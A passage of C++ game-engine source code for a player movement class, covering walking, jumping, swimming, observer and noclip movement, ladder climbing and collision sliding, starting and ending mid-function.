// Now pull the base velocity back out. Base velocity is set if you are on a moving object, like a conveyor (or maybe another monster?)
VectorSubtract( mv->m_vecVelocity, player->GetBaseVelocity(), mv->m_vecVelocity );
}
bool CGameMovement::CanAccelerate()
{
// Dead players don't accelerate.
if (player->pl.deadflag)
return false;
// If waterjumping, don't accelerate
if (player->m_flWaterJumpTime)
return false;
return true;
}
//-----------------------------------------------------------------------------
// Purpose:
// Input : wishdir -
// wishspeed -
// accel -
//-----------------------------------------------------------------------------
void CGameMovement::Accelerate( Vector& wishdir, float wishspeed, float accel )
{
int i;
float addspeed, accelspeed, currentspeed;
// This gets overridden because some games (CSPort) want to allow dead (observer) players
// to be able to move around.
if ( !CanAccelerate() )
return;
// See if we are changing direction a bit
currentspeed = mv->m_vecVelocity.Dot(wishdir);
// Reduce wishspeed by the amount of veer.
addspeed = wishspeed - currentspeed;
// If not going to add any speed, done.
if (addspeed <= 0)
return;
// Determine amount of accleration.
accelspeed = accel * gpGlobals->frametime * wishspeed * player->m_surfaceFriction;
// Cap at addspeed
if (accelspeed > addspeed)
accelspeed = addspeed;
// Adjust velocity.
for (i=0 ; i<3 ; i++)
{
mv->m_vecVelocity[i] += accelspeed * wishdir[i];
}
}
//-----------------------------------------------------------------------------
// Purpose: Try to keep a walking player on the ground when running down slopes etc
//-----------------------------------------------------------------------------
void CGameMovement::StayOnGround( void )
{
trace_t trace;
Vector start( mv->GetAbsOrigin() );
Vector end( mv->GetAbsOrigin() );
start.z += 2;
end.z -= player->GetStepSize();
// See how far up we can go without getting stuck
TracePlayerBBox( mv->GetAbsOrigin(), start, PlayerSolidMask(), COLLISION_GROUP_PLAYER_MOVEMENT, trace );
start = trace.endpos;
// using trace.startsolid is unreliable here, it doesn't get set when
// tracing bounding box vs. terrain
// Now trace down from a known safe position
TracePlayerBBox( start, end, PlayerSolidMask(), COLLISION_GROUP_PLAYER_MOVEMENT, trace );
if ( trace.fraction > 0.0f && // must go somewhere
trace.fraction < 1.0f && // must hit something
!trace.startsolid && // can't be embedded in a solid
trace.plane.normal[2] >= 0.7 ) // can't hit a steep slope that we can't stand on anyway
{
float flDelta = fabs(mv->GetAbsOrigin().z - trace.endpos.z);
//This is incredibly hacky. The real problem is that trace returning that strange value we can't network over.
if ( flDelta > 0.5f * COORD_RESOLUTION)
{
mv->SetAbsOrigin( trace.endpos );
}
}
}
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
void CGameMovement::WalkMove( void )
{
int i;
Vector wishvel;
float spd;
float fmove, smove;
Vector wishdir;
float wishspeed;
Vector dest;
trace_t pm;
Vector forward, right, up;
AngleVectors (mv->m_vecViewAngles, &forward, &right, &up); // Determine movement angles
CHandle< CBaseEntity > oldground;
oldground = player->GetGroundEntity();
// Copy movement amounts
fmove = mv->m_flForwardMove;
smove = mv->m_flSideMove;
// Zero out z components of movement vectors
if ( g_bMovementOptimizations )
{
if ( forward[2] != 0 )
{
forward[2] = 0;
VectorNormalize( forward );
}
if ( right[2] != 0 )
{
right[2] = 0;
VectorNormalize( right );
}
}
else
{
forward[2] = 0;
right[2] = 0;
VectorNormalize (forward); // Normalize remainder of vectors.
VectorNormalize (right); //
}
for (i=0 ; i<2 ; i++) // Determine x and y parts of velocity
wishvel[i] = forward[i]*fmove + right[i]*smove;
wishvel[2] = 0; // Zero out z part of velocity
VectorCopy (wishvel, wishdir); // Determine maginitude of speed of move
wishspeed = VectorNormalize(wishdir);
//
// Clamp to server defined max speed
//
if ((wishspeed != 0.0f) && (wishspeed > mv->m_flMaxSpeed))
{
VectorScale (wishvel, mv->m_flMaxSpeed/wishspeed, wishvel);
wishspeed = mv->m_flMaxSpeed;
}
// Set pmove velocity
mv->m_vecVelocity[2] = 0;
Accelerate ( wishdir, wishspeed, sv_accelerate.GetFloat() );
mv->m_vecVelocity[2] = 0;
// Add in any base velocity to the current velocity.
VectorAdd (mv->m_vecVelocity, player->GetBaseVelocity(), mv->m_vecVelocity );
spd = VectorLength( mv->m_vecVelocity );
if ( spd < 1.0f )
{
mv->m_vecVelocity.Init();
// Now pull the base velocity back out. Base velocity is set if you are on a moving object, like a conveyor (or maybe another monster?)
VectorSubtract( mv->m_vecVelocity, player->GetBaseVelocity(), mv->m_vecVelocity );
return;
}
// first try just moving to the destination
dest[0] = mv->GetAbsOrigin()[0] + mv->m_vecVelocity[0]*gpGlobals->frametime;
dest[1] = mv->GetAbsOrigin()[1] + mv->m_vecVelocity[1]*gpGlobals->frametime;
dest[2] = mv->GetAbsOrigin()[2];
// first try moving directly to the next spot
TracePlayerBBox( mv->GetAbsOrigin(), dest, PlayerSolidMask(), COLLISION_GROUP_PLAYER_MOVEMENT, pm );
// If we made it all the way, then copy trace end as new player position.
mv->m_outWishVel += wishdir * wishspeed;
if ( pm.fraction == 1 )
{
mv->SetAbsOrigin( pm.endpos );
// Now pull the base velocity back out. Base velocity is set if you are on a moving object, like a conveyor (or maybe another monster?)
VectorSubtract( mv->m_vecVelocity, player->GetBaseVelocity(), mv->m_vecVelocity );
StayOnGround();
return;
}
// Don't walk up stairs if not on ground.
if ( oldground == NULL && player->GetWaterLevel() == 0 )
{
// Now pull the base velocity back out. Base velocity is set if you are on a moving object, like a conveyor (or maybe another monster?)
VectorSubtract( mv->m_vecVelocity, player->GetBaseVelocity(), mv->m_vecVelocity );
return;
}
// If we are jumping out of water, don't do anything more.
if ( player->m_flWaterJumpTime )
{
// Now pull the base velocity back out. Base velocity is set if you are on a moving object, like a conveyor (or maybe another monster?)
VectorSubtract( mv->m_vecVelocity, player->GetBaseVelocity(), mv->m_vecVelocity );
return;
}
StepMove( dest, pm );
// Now pull the base velocity back out. Base velocity is set if you are on a moving object, like a conveyor (or maybe another monster?)
VectorSubtract( mv->m_vecVelocity, player->GetBaseVelocity(), mv->m_vecVelocity );
StayOnGround();
}
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
void CGameMovement::FullWalkMove( )
{
if ( !CheckWater() )
{
StartGravity();
}
// If we are leaping out of the water, just update the counters.
if (player->m_flWaterJumpTime)
{
WaterJump();
TryPlayerMove();
// See if we are still in water?
CheckWater();
return;
}
// If we are swimming in the water, see if we are nudging against a place we can jump up out
// of, and, if so, start out jump. Otherwise, if we are not moving up, then reset jump timer to 0
if ( player->GetWaterLevel() >= WL_Waist )
{
if ( player->GetWaterLevel() == WL_Waist )
{
CheckWaterJump();
}
// If we are falling again, then we must not trying to jump out of water any more.
if ( mv->m_vecVelocity[2] < 0 &&
player->m_flWaterJumpTime )
{
player->m_flWaterJumpTime = 0;
}
// Was jump button pressed?
if (mv->m_nButtons & IN_JUMP)
{
CheckJumpButton();
}
else
{
mv->m_nOldButtons &= ~IN_JUMP;
}
// Perform regular water movement
WaterMove();
// Redetermine position vars
CategorizePosition();
// If we are on ground, no downward velocity.
if ( player->GetGroundEntity() != NULL )
{
mv->m_vecVelocity[2] = 0;
}
}
else
// Not fully underwater
{
// Was jump button pressed?
if (mv->m_nButtons & IN_JUMP)
{
CheckJumpButton();
}
else
{
mv->m_nOldButtons &= ~IN_JUMP;
}
// Fricion is handled before we add in any base velocity. That way, if we are on a conveyor,
// we don't slow when standing still, relative to the conveyor.
if (player->GetGroundEntity() != NULL)
{
mv->m_vecVelocity[2] = 0.0;
Friction();
}
// Make sure velocity is valid.
CheckVelocity();
if (player->GetGroundEntity() != NULL)
{
WalkMove();
}
else
{
AirMove(); // Take into account movement when in air.
}
// Set final flags.
CategorizePosition();
// Make sure velocity is valid.
CheckVelocity();
// Add any remaining gravitational component.
if ( !CheckWater() )
{
FinishGravity();
}
// If we are on ground, no downward velocity.
if ( player->GetGroundEntity() != NULL )
{
mv->m_vecVelocity[2] = 0;
}
CheckFalling();
}
if ( ( m_nOldWaterLevel == WL_NotInWater && player->GetWaterLevel() != WL_NotInWater ) ||
( m_nOldWaterLevel != WL_NotInWater && player->GetWaterLevel() == WL_NotInWater ) )
{
PlaySwimSound();
#if !defined( CLIENT_DLL )
player->Splash();
#endif
}
}
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
void CGameMovement::FullObserverMove( void )
{
int mode = player->GetObserverMode();
if ( mode == OBS_MODE_IN_EYE || mode == OBS_MODE_CHASE || mode == OBS_MODE_POI )
{
CBaseEntity * target = player->GetObserverTarget();
if ( target != NULL )
{
mv->SetAbsOrigin( target->GetAbsOrigin() );
mv->m_vecViewAngles = target->GetAbsAngles();
mv->m_vecVelocity = target->GetAbsVelocity();
}
return;
}
if ( mode != OBS_MODE_ROAMING )
{
// don't move in fixed or death cam mode
return;
}
if ( sv_specnoclip.GetBool() )
{
// roam in noclip mode
FullNoClipMove( sv_specspeed.GetFloat(), sv_specaccelerate.GetFloat() );
return;
}
// do a full clipped free roam move:
Vector wishvel;
Vector forward, right, up;
Vector wishdir, wishend;
float wishspeed;
AngleVectors (mv->m_vecViewAngles, &forward, &right, &up); // Determine movement angles
// Copy movement amounts
float factor = sv_specspeed.GetFloat();
if ( mv->m_nButtons & IN_SPEED )
{
factor /= 2.0f;
}
float fmove = mv->m_flForwardMove * factor;
float smove = mv->m_flSideMove * factor;
VectorNormalize (forward); // Normalize remainder of vectors
VectorNormalize (right); //
for (int i=0 ; i<3 ; i++) // Determine x and y parts of velocity
wishvel[i] = forward[i]*fmove + right[i]*smove;
wishvel[2] += mv->m_flUpMove;
VectorCopy (wishvel, wishdir); // Determine maginitude of speed of move
wishspeed = VectorNormalize(wishdir);
//
// Clamp to server defined max speed
//
float maxspeed = sv_maxvelocity.GetFloat();
if (wishspeed > maxspeed )
{
VectorScale (wishvel, mv->m_flMaxSpeed/wishspeed, wishvel);
wishspeed = maxspeed;
}
// Set pmove velocity, give observer 50% acceration bonus
Accelerate ( wishdir, wishspeed, sv_specaccelerate.GetFloat() );
float spd = VectorLength( mv->m_vecVelocity );
if (spd < 1.0f)
{
mv->m_vecVelocity.Init();
return;
}
float friction = sv_friction.GetFloat();
// Add the amount to the drop amount.
float drop = spd * friction * gpGlobals->frametime;
// scale the velocity
float newspeed = spd - drop;
if (newspeed < 0)
newspeed = 0;
// Determine proportion of old speed we are using.
newspeed /= spd;
VectorScale( mv->m_vecVelocity, newspeed, mv->m_vecVelocity );
CheckVelocity();
TryPlayerMove();
}
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
void CGameMovement::FullNoClipMove( float factor, float maxacceleration )
{
Vector wishvel;
Vector forward, right, up;
Vector wishdir;
float wishspeed;
float maxspeed = sv_maxspeed.GetFloat() * factor;
AngleVectors (mv->m_vecViewAngles, &forward, &right, &up); // Determine movement angles
if ( mv->m_nButtons & IN_SPEED )
{
factor /= 2.0f;
}
// Copy movement amounts
float fmove = mv->m_flForwardMove * factor;
float smove = mv->m_flSideMove * factor;
VectorNormalize (forward); // Normalize remainder of vectors
VectorNormalize (right); //
for (int i=0 ; i<3 ; i++) // Determine x and y parts of velocity
wishvel[i] = forward[i]*fmove + right[i]*smove;
wishvel[2] += mv->m_flUpMove * factor;
VectorCopy (wishvel, wishdir); // Determine maginitude of speed of move
wishspeed = VectorNormalize(wishdir);
//
// Clamp to server defined max speed
//
if (wishspeed > maxspeed )
{
VectorScale (wishvel, maxspeed/wishspeed, wishvel);
wishspeed = maxspeed;
}
if ( maxacceleration > 0.0 )
{
// Set pmove velocity
Accelerate ( wishdir, wishspeed, maxacceleration );
float spd = VectorLength( mv->m_vecVelocity );
if (spd < 1.0f)
{
mv->m_vecVelocity.Init();
return;
}
// Bleed off some speed, but if we have less than the bleed
// threshhold, bleed the theshold amount.
float control = (spd < maxspeed/4.0) ? maxspeed/4.0 : spd;
float friction = sv_friction.GetFloat() * player->m_surfaceFriction;
// Add the amount to the drop amount.
float drop = control * friction * gpGlobals->frametime;
// scale the velocity
float newspeed = spd - drop;
if (newspeed < 0)
newspeed = 0;
// Determine proportion of old speed we are using.
newspeed /= spd;
VectorScale( mv->m_vecVelocity, newspeed, mv->m_vecVelocity );
}
else
{
VectorCopy( wishvel, mv->m_vecVelocity );
}
// Just move ( don't clip or anything )
Vector out;
VectorMA( mv->GetAbsOrigin(), gpGlobals->frametime, mv->m_vecVelocity, out );
mv->SetAbsOrigin( out );
// Zero out velocity if in noaccel mode
if ( maxacceleration < 0.0f )
{
mv->m_vecVelocity.Init();
}
}
//-----------------------------------------------------------------------------
// Checks to see if we should actually jump
//-----------------------------------------------------------------------------
void CGameMovement::PlaySwimSound()
{
MoveHelper()->StartSound( mv->GetAbsOrigin(), "Player.Swim" );
}
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
bool CGameMovement::CheckJumpButton( void )
{
if (player->pl.deadflag)
{
mv->m_nOldButtons |= IN_JUMP ; // don't jump again until released
return false;
}
// See if we are waterjumping. If so, decrement count and return.
if (player->m_flWaterJumpTime)
{
player->m_flWaterJumpTime -= gpGlobals->frametime;
if (player->m_flWaterJumpTime < 0)
player->m_flWaterJumpTime = 0;
return false;
}
// If we are in the water most of the way...
if ( player->GetWaterLevel() >= 2 )
{
// swimming, not jumping
SetGroundEntity( NULL );
if(player->GetWaterType() == CONTENTS_WATER) // We move up a certain amount
mv->m_vecVelocity[2] = 100;
else if (player->GetWaterType() == CONTENTS_SLIME)
mv->m_vecVelocity[2] = 80;
// play swiming sound
if ( player->m_flSwimSoundTime <= 0 )
{
// Don't play sound again for 1 second
player->m_flSwimSoundTime = 1000;
PlaySwimSound();
}
return false;
}
// No more effect
if (player->GetGroundEntity() == NULL)
{
mv->m_nOldButtons |= IN_JUMP;
return false; // in air, so no effect
}
// Don't allow jumping when the player is in a stasis field.
#ifndef HL2_EPISODIC
if ( player->m_Local.m_bSlowMovement )
return false;
#endif
if ( mv->m_nOldButtons & IN_JUMP )
return false; // don't pogo stick
// Cannot jump will in the unduck transition.
if ( player->m_Local.m_bDucking && ( player->GetFlags() & FL_DUCKING ) )
return false;
// Still updating the eye position.
if ( player->m_Local.m_flDuckJumpTime > 0.0f )
return false;
// In the air now.
SetGroundEntity( NULL );
player->PlayStepSound( (Vector &)mv->GetAbsOrigin(), player->m_pSurfaceData, 1.0, true );
MoveHelper()->PlayerSetAnimation( PLAYER_JUMP );
float flGroundFactor = 1.0f;
if (player->m_pSurfaceData)
{
flGroundFactor = player->m_pSurfaceData->game.jumpFactor;
}
float flMul;
if ( g_bMovementOptimizations )
{
#if defined(HL2_DLL) || defined(HL2_CLIENT_DLL)
Assert( GetCurrentGravity() == 600.0f );
flMul = 160.0f; // approx. 21 units.
#else
Assert( GetCurrentGravity() == 800.0f );
flMul = 268.3281572999747f;
#endif
}
else
{
flMul = sqrt(2 * GetCurrentGravity() * GAMEMOVEMENT_JUMP_HEIGHT);
}
// Acclerate upward
// If we are ducking...
float startz = mv->m_vecVelocity[2];
if ( ( player->m_Local.m_bDucking ) || ( player->GetFlags() & FL_DUCKING ) )
{
// d = 0.5 * g * t^2 - distance traveled with linear accel
// t = sqrt(2.0 * 45 / g) - how long to fall 45 units
// v = g * t - velocity at the end (just invert it to jump up that high)
// v = g * sqrt(2.0 * 45 / g )
// v^2 = g * g * 2.0 * 45 / g
// v = sqrt( g * 2.0 * 45 )
mv->m_vecVelocity[2] = flGroundFactor * flMul; // 2 * gravity * height
}
else
{
mv->m_vecVelocity[2] += flGroundFactor * flMul; // 2 * gravity * height
}
// Add a little forward velocity based on your current forward velocity - if you are not sprinting.
#if defined( HL2_DLL ) || defined( HL2_CLIENT_DLL )
if ( gpGlobals->maxClients == 1 )
{
CHLMoveData *pMoveData = ( CHLMoveData* )mv;
Vector vecForward;
AngleVectors( mv->m_vecViewAngles, &vecForward );
vecForward.z = 0;
VectorNormalize( vecForward );
// We give a certain percentage of the current forward movement as a bonus to the jump speed. That bonus is clipped
// to not accumulate over time.
float flSpeedBoostPerc = ( !pMoveData->m_bIsSprinting && !player->m_Local.m_bDucked ) ? 0.5f : 0.1f;
float flSpeedAddition = fabs( mv->m_flForwardMove * flSpeedBoostPerc );
float flMaxSpeed = mv->m_flMaxSpeed + ( mv->m_flMaxSpeed * flSpeedBoostPerc );
float flNewSpeed = ( flSpeedAddition + mv->m_vecVelocity.Length2D() );
// If we're over the maximum, we want to only boost as much as will get us to the goal speed
if ( flNewSpeed > flMaxSpeed )
{
flSpeedAddition -= flNewSpeed - flMaxSpeed;
}
if ( mv->m_flForwardMove < 0.0f )
flSpeedAddition *= -1.0f;
// Add it on
VectorAdd( (vecForward*flSpeedAddition), mv->m_vecVelocity, mv->m_vecVelocity );
}
#endif
FinishGravity();
CheckV( player->CurrentCommandNumber(), "CheckJump", mv->m_vecVelocity );
mv->m_outJumpVel.z += mv->m_vecVelocity[2] - startz;
mv->m_outStepHeight += 0.15f;
OnJump(mv->m_outJumpVel.z);
// Set jump time.
if ( gpGlobals->maxClients == 1 )
{
player->m_Local.m_flJumpTime = GAMEMOVEMENT_JUMP_TIME;
player->m_Local.m_bInDuckJump = true;
}
#if defined( HL2_DLL )
if ( xc_uncrouch_on_jump.GetBool() )
{
// Uncrouch when jumping
if ( player->GetToggledDuckState() )
{
player->ToggleDuck();
}
}
#endif
// Flag that we jumped.
mv->m_nOldButtons |= IN_JUMP; // don't jump again until released
return true;
}
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
void CGameMovement::FullLadderMove()
{
CheckWater();
// Was jump button pressed? If so, set velocity to 270 away from ladder.
if ( mv->m_nButtons & IN_JUMP )
{
CheckJumpButton();
}
else
{
mv->m_nOldButtons &= ~IN_JUMP;
}
// Perform the move accounting for any base velocity.
VectorAdd (mv->m_vecVelocity, player->GetBaseVelocity(), mv->m_vecVelocity);
TryPlayerMove();
VectorSubtract (mv->m_vecVelocity, player->GetBaseVelocity(), mv->m_vecVelocity);
}
//-----------------------------------------------------------------------------
// Purpose:
// Output : int
//-----------------------------------------------------------------------------
int CGameMovement::TryPlayerMove( Vector *pFirstDest, trace_t *pFirstTrace, float flSlideMultiplier /* = 0.f */ )
{
int bumpcount, numbumps;
Vector dir;
float d;
int numplanes;
Vector planes[MAX_CLIP_PLANES];
Vector primal_velocity, original_velocity;
Vector new_velocity;
int i, j;
trace_t pm;
Vector end;
float time_left, allFraction;
int blocked;
numbumps = 4; // Bump up to four times
blocked = 0; // Assume not blocked
numplanes = 0; // and not sliding along any planes
VectorCopy (mv->m_vecVelocity, original_velocity); // Store original velocity
VectorCopy (mv->m_vecVelocity, primal_velocity);
allFraction = 0;
time_left = gpGlobals->frametime; // Total time for this movement operation.
new_velocity.Init();
for (bumpcount=0 ; bumpcount < numbumps; bumpcount++)
{
if ( mv->m_vecVelocity.Length() == 0.0 )
break;
// Assume we can move all the way from the current origin to the
// end point.
VectorMA( mv->GetAbsOrigin(), time_left, mv->m_vecVelocity, end );
// See if we can make it from origin to end point.
if ( g_bMovementOptimizations )
{
// If their velocity Z is 0, then we can avoid an extra trace here during WalkMove.
if ( pFirstDest && end == *pFirstDest )
pm = *pFirstTrace;
else
{
#if defined( PLAYER_GETTING_STUCK_TESTING )
trace_t foo;
TracePlayerBBox( mv->GetAbsOrigin(), mv->GetAbsOrigin(), PlayerSolidMask(), COLLISION_GROUP_PLAYER_MOVEMENT, foo );
if ( foo.startsolid || foo.fraction != 1.0f )
{
Msg( "bah\n" );
}
#endif
TracePlayerBBox( mv->GetAbsOrigin(), end, PlayerSolidMask(), COLLISION_GROUP_PLAYER_MOVEMENT, pm );
}
}
else
{
TracePlayerBBox( mv->GetAbsOrigin(), end, PlayerSolidMask(), COLLISION_GROUP_PLAYER_MOVEMENT, pm );
}
allFraction += pm.fraction;
// If we started in a solid object, or we were in solid space
// the whole way, zero out our velocity and return that we
// are blocked by floor and wall.
if (pm.allsolid)
{
// entity is trapped in another solid
VectorCopy (vec3_origin, mv->m_vecVelocity);
return 4;
}
// If we moved some portion of the total distance, then
// copy the end position into the pmove.origin and
// zero the plane counter.
if( pm.fraction > 0 )
{
if ( numbumps > 0 && pm.fraction == 1 )
{
// There's a precision issue with terrain tracing that can cause a swept box to successfully trace
// when the end position is stuck in the triangle. Re-run the test with an uswept box to catch that
// case until the bug is fixed.
// If we detect getting stuck, don't allow the movement
trace_t stuck;
TracePlayerBBox( pm.endpos, pm.endpos, PlayerSolidMask(), COLLISION_GROUP_PLAYER_MOVEMENT, stuck );
if ( stuck.startsolid || stuck.fraction != 1.0f )
{
//Msg( "Player will become stuck!!!\n" );
VectorCopy (vec3_origin, mv->m_vecVelocity);
break;
}
}
#if defined( PLAYER_GETTING_STUCK_TESTING )
trace_t foo;
TracePlayerBBox( pm.endpos, pm.endpos, PlayerSolidMask(), COLLISION_GROUP_PLAYER_MOVEMENT, foo );
if ( foo.startsolid || foo.fraction != 1.0f )
{
Msg( "Player will become stuck!!!\n" );
}
#endif
// actually covered some distance
mv->SetAbsOrigin( pm.endpos);
VectorCopy (mv->m_vecVelocity, original_velocity);
numplanes = 0;
}
// If we covered the entire distance, we are done
// and can return.
if (pm.fraction == 1)
{
break; // moved the entire distance
}
// Save entity that blocked us (since fraction was < 1.0)
// for contact
// Add it if it's not already in the list!!!
MoveHelper( )->AddToTouched( pm, mv->m_vecVelocity );
// If the plane we hit has a high z component in the normal, then
// it's probably a floor
if (pm.plane.normal[2] > 0.7)
{
blocked |= 1; // floor
}
// If the plane has a zero z component in the normal, then it's a
// step or wall
if (!pm.plane.normal[2])
{
blocked |= 2; // step / wall
}
// Reduce amount of m_flFrameTime left by total time left * fraction
// that we covered.
time_left -= time_left * pm.fraction;
// Did we run out of planes to clip against?
if (numplanes >= MAX_CLIP_PLANES)
{
// this shouldn't really happen
// Stop our movement if so.
VectorCopy (vec3_origin, mv->m_vecVelocity);
//Con_DPrintf("Too many planes 4\n");
break;
}
// Set up next clipping plane
VectorCopy (pm.plane.normal, planes[numplanes]);
numplanes++;
// modify original_velocity so it parallels all of the clip planes
//
// reflect player velocity
// Only give this a try for first impact plane because you can get yourself stuck in an acute corner by jumping in place
// and pressing forward and nobody was really using this bounce/reflection feature anyway...
if ( numplanes == 1 &&
player->GetMoveType() == MOVETYPE_WALK &&
player->GetGroundEntity() == NULL )
{
for ( i = 0; i < numplanes; i++ )
{
if ( planes[i][2] > 0.7 )
{
// floor or slope
ClipVelocity( original_velocity, planes[i], new_velocity, 1, flSlideMultiplier );
VectorCopy( new_velocity, original_velocity );
}
else
{
ClipVelocity( original_velocity, planes[i], new_velocity,
1.0 + sv_bounce.GetFloat() * (1 - player->m_surfaceFriction), flSlideMultiplier );
}
}
VectorCopy( new_velocity, mv->m_vecVelocity );
VectorCopy( new_velocity, original_velocity );
}
else
{
for (i=0 ; i < numplanes ; i++)
{
ClipVelocity (
original_velocity,
planes[i],
mv->m_vecVelocity,
1, flSlideMultiplier );
for (j=0 ; j<numplanes ; j++)
if (j != i)
{
// Are we now moving against this plane?
if (mv->m_vecVelocity.Dot(planes[j]) < 0)
break; // not ok
}
if (j == numplanes) // Didn't have to clip, so we're ok
break;
}
// Did we go all the way through plane set
if (i != numplanes)
{ // go along this plane
// pmove.velocity is set in clipping call, no need to set again.
;
}
else
{ // go along the crease
if (numplanes != 2)
{
VectorCopy (vec3_origin, mv->m_vecVelocity);
break;
}
CrossProduct (planes[0], planes[1], dir);
dir.NormalizeInPlace();
d = dir.Dot(mv->m_vecVelocity);
VectorScale (dir, d, mv->m_vecVelocity );
}
//
// if original velocity is against the original velocity, stop dead
// to avoid tiny occilations in sloping corners
//
d = mv->m_vecVelocity.Dot(primal_velocity);
if (d <= 0)
{
//Con_DPrintf("Back\n");
VectorCopy (vec3_origin, mv->m_vecVelocity);
break;
}
}
}
if ( allFraction == 0 )
{
VectorCopy (vec3_origin, mv->m_vecVelocity);
}
// Check if they slammed into a wall
float fSlamVol = 0.0f;
float fLateralStoppingAmount = primal_velocity.Length2D() - mv->m_vecVelocity.Length2D();
if ( fLateralStoppingAmount > PLAYER_MAX_SAFE_FALL_SPEED * 2.0f )
{
fSlamVol = 1.0f;
}
else if ( fLateralStoppingAmount > PLAYER_MAX_SAFE_FALL_SPEED )
{
fSlamVol = 0.85f;
}
PlayerRoughLandingEffects( fSlamVol );
return blocked;
}
//-----------------------------------------------------------------------------
// Purpose: Determine whether or not the player is on a ladder (physprop or world).
//-----------------------------------------------------------------------------
inline bool CGameMovement::OnLadder( trace_t &trace )
{
if ( trace.contents & CONTENTS_LADDER )
return true;
IPhysicsSurfaceProps *pPhysProps = MoveHelper( )->GetSurfaceProps();
if ( pPhysProps )
{
const surfacedata_t *pSurfaceData = pPhysProps->GetSurfaceData( trace.surface.surfaceProps );
if ( pSurfaceData )
{
if ( pSurfaceData->game.climbable != 0 )
return true;
}
}
return false;
}
//=============================================================================
// HPE_BEGIN
// [sbodenbender] make ladders easier to climb in cstrike
//=============================================================================
#if defined (CSTRIKE_DLL)
ConVar sv_ladder_dampen ( "sv_ladder_dampen", "0.2", FCVAR_REPLICATED, "Amount to dampen perpendicular movement on a ladder", true, 0.0f, true, 1.0f );
ConVar sv_ladder_angle( "sv_ladder_angle", "-0.707", FCVAR_REPLICATED, "Cos of angle of incidence to ladder perpendicular for applying ladder_dampen", true, -1.0f, true, 1.0f );
#endif
//=============================================================================
// HPE_END
//=============================================================================
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
bool CGameMovement::LadderMove( void )
{
trace_t pm;
bool onFloor;
Vector floor;
Vector wishdir;
Vector end;
if ( player->GetMoveType() == MOVETYPE_NOCLIP )
return false;
if ( !GameHasLadders() )
return false;
// If I'm already moving on a ladder, use the previous ladder direction
if ( player->GetMoveType() == MOVETYPE_LADDER )
{
wishdir = -player->m_vecLadderNormal;
}
else
{
// otherwise, use the direction player is attempting to move
if ( mv->m_flForwardMove || mv->m_flSideMove )
{
for (int i=0 ; i<3 ; i++) // Determine x and y parts of velocity
wishdir[i] = m_vecForward[i]*mv->m_flForwardMove + m_vecRight[i]*mv->m_flSideMove;
VectorNormalize(wishdir);
}
else
{
// Player is not attempting to move, no ladder behavior
return false;
}
}
// wishdir points toward the ladder if any exists
VectorMA( mv->GetAbsOrigin(), LadderDistance(), wishdir, end );
TracePlayerBBox( mv->GetAbsOrigin(), end, LadderMask(), COLLISION_GROUP_PLAYER_MOVEMENT, pm );
// no ladder in that direction, return
if ( pm.fraction == 1.0f || !OnLadder( pm ) )
return false;
player->SetMoveType( MOVETYPE_LADDER );
player->SetMoveCollide( MOVECOLLIDE_DEFAULT );
player->m_vecLadderNormal = pm.plane.normal;
// On ladder, convert movement to be relative to the ladder
VectorCopy( mv->GetAbsOrigin(), floor );
floor[2] += GetPlayerMins()[2] - 1;
if( enginetrace->GetPointContents( floor ) == CONTENTS_SOLID || player->GetGroundEntity() != NULL )
{
onFloor = true;
}
else
{
onFloor = false;
}
player->SetGravity( 0 );
float climbSpeed = ClimbSpeed();
float forwardSpeed = 0, rightSpeed = 0;
if ( mv->m_nButtons & IN_BACK )
forwardSpeed -= climbSpeed;
if ( mv->m_nButtons & IN_FORWARD )
forwardSpeed += climbSpeed;
if ( mv->m_nButtons & IN_MOVELEFT )
rightSpeed -= climbSpeed;
if ( mv->m_nButtons & IN_MOVERIGHT )
rightSpeed += climbSpeed;
if ( mv->m_nButtons & IN_JUMP )
{
player->SetMoveType( MOVETYPE_WALK );
player->SetMoveCollide( MOVECOLLIDE_DEFAULT );
VectorScale( pm.plane.normal, 270, mv->m_vecVelocity );
}
else
{
if ( forwardSpeed != 0 || rightSpeed != 0 )
{
Vector velocity, perp, cross, lateral, tmp;
//ALERT(at_console, "pev %.2f %.2f %.2f - ",
// pev->velocity.x, pev->velocity.y, pev->velocity.z);
// Calculate player's intended velocity
//Vector velocity = (forward * gpGlobals->v_forward) + (right * gpGlobals->v_right);
VectorScale( m_vecForward, forwardSpeed, velocity );
VectorMA( velocity, rightSpeed, m_vecRight, velocity );
// Perpendicular in the ladder plane
VectorCopy( vec3_origin, tmp );
tmp[2] = 1;
CrossProduct( tmp, pm.plane.normal, perp );
VectorNormalize( perp );
// decompose velocity into ladder plane
float normal = DotProduct( velocity, pm.plane.normal );
// This is the velocity into the face of the ladder
VectorScale( pm.plane.normal, normal, cross );
// This is the player's additional velocity
VectorSubtract( velocity, cross, lateral );
// This turns the velocity into the face of the ladder into velocity that
// is roughly vertically perpendicular to the face of the ladder.
// NOTE: It IS possible to face up and move down or face down and move up
// because the velocity is a sum of the directional velocity and the converted
// velocity through the face of the ladder -- by design.
CrossProduct( pm.plane.normal, perp, tmp );
//=============================================================================
// HPE_BEGIN
// [sbodenbender] make ladders easier to climb in cstrike
//=============================================================================
#if defined (CSTRIKE_DLL)
// break lateral into direction along tmp (up the ladder) and direction along perp (perpendicular to ladder)
float tmpDist = DotProduct ( tmp, lateral );
float perpDist = DotProduct ( perp, lateral );
Vector angleVec = perp * perpDist;
angleVec += cross;
// angleVec is our desired movement in the ladder normal/perpendicular plane
VectorNormalize(angleVec);
float angleDot = DotProduct(angleVec, pm.plane.normal);
// angleDot is our angle of incidence to the laddernormal in the ladder normal/perpendicular plane
if (angleDot < sv_ladder_angle.GetFloat())
lateral = (tmp * tmpDist) + (perp * sv_ladder_dampen.GetFloat() * perpDist);
#endif // CSTRIKE_DLL
//=============================================================================
// HPE_END
//=============================================================================
VectorMA( lateral, -normal, tmp, mv->m_vecVelocity );
if ( onFloor && normal > 0 ) // On ground moving away from the ladder
{
VectorMA( mv->m_vecVelocity, MAX_CLIMB_SPEED, pm.plane.normal, mv->m_vecVelocity );
}
//pev->velocity = lateral - (CrossProduct( trace.vecPlaneNormal, perp ) * normal);
}
else
{
mv->m_vecVelocity.Init();
}
}
return true;
}
//-----------------------------------------------------------------------------
// Purpose:
// Input : axis -
// Output : const char
